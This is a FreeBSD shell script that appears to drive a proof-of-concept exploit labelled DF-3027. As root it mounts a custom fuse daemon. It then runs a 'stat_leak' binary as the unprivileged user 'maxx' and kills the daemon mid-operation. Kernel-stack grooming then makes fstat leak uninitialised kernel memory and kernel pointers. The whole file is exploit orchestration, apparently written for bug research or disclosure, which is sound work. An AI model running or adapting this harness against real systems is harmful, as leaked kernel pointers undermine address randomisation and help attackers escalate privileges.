#!/bin/sh
# DF-3027 run: mount the normal daemon (root), maxx opens /mnt/fuse/target
# and waits; run.sh kills the daemon (dead=1), maxx then grooms the kernel
# stack and fstats the fuse fd -> marker echo (deterministic uninit-read
# proof) and kernel-pointer leak (readlink groom).
set -e
cd "$(dirname "$0")"
MNT=/mnt/fuse
GO=/tmp/df3027_go
kldstat -n fuse >/dev/null 2>&1 || kldload fuse
pkill -9 -f fuse_daemon 2>/dev/null || true
sleep 1
umount $MNT 2>/dev/null || true
sleep 1
mkdir -p $MNT
rm -f $GO

./fuse_daemon normal $MNT > daemon.log 2>&1 &
sleep 4
mount | grep -q "$MNT" || { echo MOUNT_MISSING; cat daemon.log; exit 1; }

cp stat_leak /tmp/stat_leak; chmod 755 /tmp/stat_leak
echo "=== mode marker (3 samples, fresh mount each) ==="
i=0
while [ $i -lt 3 ]; do
    rm -f $GO
    su -m maxx -c "/tmp/stat_leak marker $MNT/target $GO" > marker_$i.out 2>&1 &
    sleep 2
    pkill -9 -f fuse_daemon; sleep 1; touch $GO; sleep 1
    cat marker_$i.out
    # remount for next sample
    sleep 1; umount $MNT 2>/dev/null || true; sleep 1
    ./fuse_daemon normal $MNT >> daemon.log 2>&1 &
    sleep 4
    i=$((i+1))
done

echo "=== mode ptrs (3 samples) ==="
i=0
while [ $i -lt 3 ]; do
    rm -f $GO
    su -m maxx -c "/tmp/stat_leak ptrs $MNT/target $GO" > ptrs_$i.out 2>&1 &
    sleep 2
    pkill -9 -f fuse_daemon; sleep 1; touch $GO; sleep 1
    cat ptrs_$i.out
    sleep 1; umount $MNT 2>/dev/null || true; sleep 1
    ./fuse_daemon normal $MNT >> daemon.log 2>&1 &
    sleep 4
    i=$((i+1))
done

pkill -9 -f fuse_daemon 2>/dev/null || true
sleep 1; umount $MNT 2>/dev/null || true
echo "=== done ==="
